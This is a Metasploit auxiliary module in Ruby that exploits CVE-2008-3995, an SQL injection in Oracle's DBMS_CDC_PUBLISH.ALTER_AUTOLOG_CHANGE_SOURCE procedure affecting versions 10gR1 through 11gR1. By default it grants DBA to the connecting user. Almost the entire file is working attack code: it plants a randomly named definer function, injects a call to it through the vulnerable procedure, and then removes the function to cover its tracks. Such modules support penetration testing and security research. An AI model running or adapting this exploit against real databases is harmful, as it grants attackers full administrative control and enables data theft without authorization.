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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE',
'Description' => %q{
The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
on the vulnerable package can exploit this vulnerability. By default, users granted
EXECUTE_CATALOG_ROLE have the required privilege.
Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1.
Fixed with October 2008 CPU.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-3995' ],
[ 'OSVDB', '49320'],
[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-09.shtml' ],
],
'DisclosureDate' => 'Oct 22 2008'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
], self.class)
end
def run
return if not check_dependencies
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
function = "
CREATE OR REPLACE FUNCTION #{name}
RETURN VARCHAR2 AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN NULL;
END;"
package = "
BEGIN
SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE('''||'||user||'.#{name}||''');
END;
"
clean = "DROP FUNCTION #{name}"
begin
print_status("Sending function...")
prepare_exec(function)
rescue => e
return
end
print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...")
prepare_exec(package)
print_status("Done! Removing function '#{name}'...")
prepare_exec(clean)
end
end
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